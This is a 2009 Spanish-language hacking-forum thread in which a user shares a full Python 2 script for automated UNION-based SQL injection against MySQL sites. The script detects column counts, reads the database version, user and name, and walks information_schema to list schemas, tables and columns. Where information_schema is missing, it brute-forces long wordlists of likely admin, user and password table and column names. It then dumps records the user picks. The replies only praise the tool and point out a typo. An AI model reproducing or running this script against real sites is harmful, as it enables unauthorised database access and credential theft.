elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  [Tool][python] Mi herramienta para SQLi en mysql
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Tool][python] Mi herramienta para SQLi en mysql  (Leído 5,490 veces)
braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
[Tool][python] Mi herramienta para SQLi en mysql
« en: 28 Noviembre 2009, 19:57 pm »

Bueno , aquí les dejo una herramienta muy útil que ahorra mucho trabajo muchas veces, os dejo unas capturas.
Encuentra la estructura de la bd por information_schema y si no hay brutea el nombre de las tablas y columnas.

Siendo esa la web con SQLi :

Si escribes :
./sqli [urlvulnerable] -c
Podrás ver los registros de la tabla que tu quieras .

Si haces :
./sqli [urlvulnerable] -r
Te dirá todas las bases de datos ,tablas y columnas menos las del information_schema (porque son muchas y no tan necesarias).
Si no pones ni -r ni -c te hará las dos.
Código
  1. #!/usr/bin/python
  2. import urllib2,sys,string
  3. # Sql injector helper by braulio23
  4. # Usage sql.py http://host/app?vulnparameter=
  5. # Example : sql.py http://localhost/sql.php?id=
  6. def entre(code,delimita):
  7. try :
  8.  for numero in range(len(code)):
  9.    if code[numero:numero+len(delimita)]==delimita:
  10.       indice1=numero+len(delimita)
  11.       break
  12.  for numero2 in range(indice1+1,len(code)):
  13.    if code[numero2:numero2+len(delimita)]==delimita:
  14.       indice2 = numero2
  15.       return code[indice1+1:indice2]
  16. except : return False    
  17. def codigo(url):
  18. return urllib2.urlopen(url).read()
  19. def char(cadena):
  20. cadena+="~"
  21. returned = "char("
  22. for caracter in cadena:
  23.   returned+=str(ord(caracter))
  24.   if caracter!="~": returned+=","
  25. return returned+")"
  26. def encontrar(code,cadena):
  27.  
  28.    longitudcode = len(code)
  29.  
  30.    longitudcadena = len(cadena)
  31.  
  32.    for indice in range(0,longitudcode-4):
  33.  
  34.        if code[indice:indice+longitudcadena]==cadena:      
  35.  
  36.            return 0
  37. def consultacorrecta(url,listadecosasaencontrar):
  38.  pagina = urllib2.urlopen(url)
  39.  codigo = pagina.read()
  40.  for cosa in listadecosasaencontrar:
  41.    if encontrar(codigo,cosa)==0:
  42.      return True
  43.  return False  
  44. def printable(urlbase,numero,columnas):
  45.  urlbase+="-1%20union%20select%20"
  46.  listadecosas = []
  47.  for a in range(columnas):
  48.    if a==numero:
  49.      urlbase+=char('aaabaaabaaabaaabaaabaaabaabababab')
  50.      listadecosas.append('aaabaaabaaabaaabaaabaaabaabababab')
  51.    else :
  52.      urlbase+='concat(202020,'+str((a+1)*31337)+')'
  53.    if a!=columnas-1 : urlbase+=','
  54.  return consultacorrecta(urlbase+'%20--',listadecosas)
  55. def obtenerdato(urlbase,printables,columnas,variable,tabla='okokokok',limit=0):
  56. urlbase+="-1%20union%20select%20"
  57. for a in range(columnas):
  58.  if a==printables:
  59.    urlbase+='concat('+char('%%%%')+','+variable+','+char('%%%%')+')'
  60.  else :
  61.    urlbase+=str(a)
  62.  if a!=columnas-1 : urlbase+=","
  63. if tabla != 'okokokok' : urlbase+='%20from%20'+tabla
  64. urlbase+='%20limit%20'+str(limit)+',1'
  65. code = codigo(urlbase+'%20--')
  66. return entre(code,'%%%%')
  67. def datosgenerales():
  68. global columnasprintables
  69. print '[+] Version ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'version()')
  70. print '[+] Usuario ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'current_user()')
  71. print '[+] Base de datos ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'database()')
  72. def estructuraconschema():
  73. print "[+]Bases de datos"
  74. i=0
  75. while obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',i)!=False:
  76.  database = obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',limit=i)
  77.  print "[-------------------->]",database
  78.  j=0
  79.  while obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j)!=False:
  80.   tabla = obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j)
  81.   print "[------------>]",tabla
  82.   k=0
  83.   while obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k)!=False:
  84.     columna = obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k)
  85.     print '[--->]',columna
  86.     k+=1
  87.   print '\n'
  88.   j+=1
  89.  i+=1
  90. def consultas():
  91. print "---- Consulta personalizada ----"
  92. db=""
  93. while 1:
  94.   db = raw_input("(Escribe Salir para salir) Nombre de la base de datos : ")
  95.   if db=="Salir" : break
  96.   tabla = raw_input("Nombre de la tabla  : ")
  97.   columnas = raw_input("Nombres de las columnas (separadas por comas) : ")
  98.   columnas = columnas.replace(',',",0x20,")
  99.   for lolo in range(1000):
  100.     resultado = obtenerdato(urlvulnerable,columnasprintables[0],numero,'concat('+columnas+')',db+'.'+tabla,lolo)
  101.     if resultado!=False:
  102.       print "Resultado :",resultado
  103.     else :
  104.       print "Ya no quedan mas registros "
  105.       break  
  106. listatablas = ['admin','tblUsers','tblAdmin','user','users','username','noticias','usernames','usuario',
  107.  'name','names','nombre','nombres','usuarios','member','members','admin_table',
  108.  'miembro','miembros','membername','admins','administrator',
  109.  'administrators','passwd','password','passwords','pass','Pass',
  110.  'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  111.  'member_password','mods','mod','moderators','moderator','user_email',
  112.  'user_emails','user_mail','user_mails','mail','emails','email','address',
  113.  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  114.  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  115.  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  116.  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  117.  'sistema_usuario','sistema_password','contraseña','auth','key','senha',
  118.  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
  119.      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
  120.      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
  121.      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
  122.      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
  123.      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  124.  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO','news']
  125. listacolumnas = ['admin_name','codigo','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
  126.          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
  127.          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
  128.          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
  129.          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
  130.          'user_pwd','u_pass','clave','usuario','contraseña','pas','sistema_password','autor','upassword','web_password','web_username']
  131. urlvulnerable = sys.argv[1]
  132. columnasprintables = []
  133. print "-----> Cuestiones principales <-----"
  134. for numero in range(500):
  135.   listadecosas=['159753159753']
  136.   urlatestear = urlvulnerable
  137.   urlatestear += "-1%20union%20select%20"
  138.   for columna in range(numero):
  139.     urlatestear+="concat(20101010,"+str((columna+1)*31337)+")"
  140.     listadecosas.append("20101010"+str((columna+1)*31337))
  141.     if columna!=numero-1: urlatestear+=","
  142.   if consultacorrecta(urlatestear+"%20--",listadecosas):
  143.     urlcorrecta = urlatestear
  144.     print "[+] La tabla tiene ",numero,"columnas"
  145.     break
  146. for a in range(numero):
  147.   if printable(urlvulnerable,a,numero):
  148.     columnasprintables.append(a)
  149. if len(sys.argv)<3: sys.argv.append('-rc')
  150. if sys.argv[2]=='-r' or sys.argv[2]=='-rc':
  151. print "-----> Variables generales <-----"
  152. datosgenerales()
  153. if obtenerdato(urlvulnerable,columnasprintables[0],numero,'1','information_schema.tables')!=False:
  154.  print "[+] Tiene information_schema "  
  155.  print "---> Estructura de la base de datos <---"
  156.  estructuraconschema()
  157. else :
  158.  print "[-] No tiene information_schema "
  159.  print "-----> Bruteando tablas <------"
  160.  for tabla in listatablas:
  161.   if obtenerdato(urlvulnerable,columnasprintables[0],numero,'4',tabla)!=False:
  162.    print "[->] Tabla ",tabla,"encontrada"
  163.    for columna in listacolumnas:
  164.      if obtenerdato(urlvulnerable,columnasprintables[0],numero,columna,tabla)!=False:
  165.         print "[-->] Columna ",columna,"encontrada"
  166. if sys.argv[2] == '-c' or sys.argv[2]=='-rc':
  167. consultas()
  168.  

PD: el code es muy feo porque lo programé tarde por la noche.

Suerte.
« Última modificación: 29 Noviembre 2009, 00:18 am por braulio23 » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.606


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: [Tool][python] Mi herramienta para SQLi en mysql
« Respuesta #1 en: 28 Noviembre 2009, 20:59 pm »

aaah genial, octalh habia hecho uno similar pero en php.
Lo agregaré al recopilatorio de herramientas ^^
En línea

Leyer


Desconectado Desconectado

Mensajes: 786


leyer@elhacker.net


Ver Perfil WWW
Re: [Tool][python] Mi herramienta para SQLi en mysql
« Respuesta #2 en: 28 Noviembre 2009, 21:07 pm »

 :o se parece full al  mio solo que la mia esta en Java y no muestra los resultados por consola  :-\ esta genial braulio.

Saludos.
En línea

anarquistadel89

Desconectado Desconectado

Mensajes: 158



Ver Perfil
Re: [Tool][python] Mi herramienta para SQLi en mysql
« Respuesta #3 en: 29 Noviembre 2009, 00:07 am »

Pone "Cuestiones prinipales"  :-X
En línea

braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [Tool][python] Mi herramienta para SQLi en mysql
« Respuesta #4 en: 29 Noviembre 2009, 00:18 am »

Oh! Es verdad! Cambiando..
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines